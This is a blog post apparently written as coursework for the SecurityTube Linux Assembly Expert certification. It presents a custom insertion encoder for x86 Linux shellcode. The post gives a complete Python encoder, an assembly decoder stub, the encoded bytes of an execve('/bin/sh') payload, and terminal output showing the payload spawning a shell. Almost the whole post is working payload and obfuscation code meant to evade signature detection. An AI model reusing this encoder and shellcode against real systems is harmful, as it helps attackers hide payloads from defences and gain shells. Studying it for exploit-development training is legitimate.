The encoding scheme is as follows: we start from a working shellcode and insert garbage blocks, containing a random garbage byte and the offset to the next garbage block.
The distance between the garbage blocks is a random value between 2 modifiable limits. In this way we can control the final length of the shellcode and the amount of garbage inserted:
The encoded shellcode will look like this:
---------------------------------------------------------
| n0 | . . .| b1 | n1 | . . . . .| b2 | n2 | . . . |END |
---------------------------------------------------------
ni - next garbage byte position
bi - garbage byte
END - END of the shellcode marker
The encoding is done in a short python script:
#!/usr/bin/python ''' Python Insertion Encoder ''' import random # Execve-stack shellcode - execve(/bin/sh,..) shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") encoded = "" idx = 1 # Control the frequency of garbage through a displacement MIN_DEP = 3 # min number of shellcode bytes after which to inject garbage MAX_DEP = 4 # max ... dep = random.randint(MIN_DEP, MAX_DEP) n = idx + dep encoded += '\\x%02x' % n END = "\\xf0\\x0d" for x in bytearray(shellcode) : if idx == n: # We have reached an insertion point dep = random.randint(MIN_DEP, MAX_DEP) n = idx + dep encoded += '\\x%02x' % random.randint(1,255) encoded += '\\x%02x' % n idx += 2 # Add a shellcode byte encoded += '\\x%02x' % x idx += 1 encoded += END print encoded # Print in nasm friendly form print encoded.replace("\\x", ",0x")[1:] print 'Initial len: %d, encoded len: %d' % (len(shellcode), len(encoded)/4)The decoding is done in the assembly shellcode:
global _start section .text _start: jmp short call_shellcode decoder: pop esi ; beginning of the encoded shellcode lea edi, [esi] ; shellcode decoded in place. Edi - dest pointer xor eax, eax mov al, byte [esi] ; position of next garbage byte xor ebx, ebx push 1 ; index into the shellcode pop ecx decode: cmp ecx, eax jnz short shellcode_byte ; shellcode byte found add ecx, 2 ; garbage byte found. Advance 2 bytes mov al, byte [esi + eax + 1]; position of next garbage byte shellcode_byte: ; byte part of real shellcode mov bl, byte [esi + ecx] mov byte [edi], bl inc edi ; advance destination inc ecx ; advance source cmp byte [esi + ecx], 0xf0 ; check for END marker jnz decode cmp byte [esi + ecx + 1], 0x0d jnz decode jmp esi ; shellcode decoded in-place. Jump to it call_shellcode: call decoder EncodedShellcode: db 0x04,0x31,0xc0,0x50,0x06,0x08,0x68,0x2f,0x15,0x0b,0x2f,0x12,0x0e,0x73,0x85,0x11,0x68,0x4e,0x14,0x68,0x96,0x18,0x2f,0x62,0xd8,0x1c,0x69,0x6e,0xf9,0x20,0x89,0xe3,0xa9,0x23,0x50,0x6d,0x26,0x89,0x60,0x29,0xe2,0x0e,0x2d,0x53,0x89,0x3b,0x30,0xe1,0xaa,0x34,0xb0,0x0b,0x55,0x37,0xcd,0xe2,0x3b,0x80,0xf0,0x0d
And now to test this:
- encode the execve-stack shellcode using the python script
- disassemble and examine the encoded shellcode
- define the shellcode bytes at the end of the assembly decoder
- assemble
- test using a C program which executes the payload
$ ./custom-encoder.py \x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d 0x05,0x31,0xc0,0x50,0x68,0xb1,0x08,0x2f,0x58,0x0c,0x2f,0x73,0x71,0x10,0x68,0x68,0x88,0x14,0x2f,0x62,0x42,0x17,0x69,0x6a,0x1a,0x6e,0xba,0x1d,0x89,0xf5,0x21,0xe3,0x50,0xe0,0x25,0x89,0xe2,0xaf,0x29,0x53,0x89,0x83,0x2d,0xe1,0xb0,0x33,0x30,0x0b,0x1a,0x33,0xcd,0x66,0x36,0x80,0xf0,0x0d Initial len: 25, encoded len: 56 $ echo -ne "\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d" | ndisasm -b 32 - 00000000 0531C05068 add eax,0x6850c031 00000005 B108 mov cl,0x8 00000007 2F das 00000008 58 pop eax 00000009 0C2F or al,0x2f 0000000B 7371 jnc 0x7e 0000000D 106868 adc [eax+0x68],ch 00000010 88142F mov [edi+ebp],dl 00000013 624217 bound eax,[edx+0x17] 00000016 696A1A6EBA1D89 imul ebp,[edx+0x1a],dword 0x891dba6e 0000001D F5 cmc 0000001E 21E3 and ebx,esp 00000020 50 push eax 00000021 E025 loopne 0x48 00000023 89E2 mov edx,esp 00000025 AF scasd 00000026 295389 sub [ebx-0x77],edx 00000029 832DE1B033300B sub dword [dword 0x3033b0e1],byte +0xb 00000030 1A33 sbb dh,[ebx] 00000032 CD66 int 0x66 00000034 3680F00D ss xor al,0xd $ ./compile.sh [+] Assembling egghunter [+] Linking egghunter \xeb\x2d\x5e\x8d\x3e\x31\xc0\x8a\x06\x31\xdb\x6a\x01\x59\x39\xc1\x75\x07\x83\xc1\x02\x8a\x44\x06\x01\x8a\x1c\x0e\x88\x1f\x47\x41\x80\x3c\x0e\xf0\x75\xe8\x80\x7c\x0e\x01\x0d\x75\xe1\xff\xe6\xe8\xce\xff\xff\xff\x04\x31\xc0\x50\x06\x08\x68\x2f\x15\x0b\x2f\x12\x0e\x73\x85\x11\x68\x4e\x14\x68\x96\x18\x2f\x62\xd8\x1c\x69\x6e\xf9\x20\x89\xe3\xa9\x23\x50\x6d\x26\x89\x60\x29\xe2\x0e\x2d\x53\x89\x3b\x30\xe1\xaa\x34\xb0\x0b\x55\x37\xcd\xe2\x3b\x80\xf0\x0d [+] House cleaning [+] Done! $ ./shellcode Shellcode Length: 112 bytes $ whoami liv $
The complete source files and scripts mentioned in this post can be found in the Git repository:
SLAE
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE- 449
No comments:
Post a Comment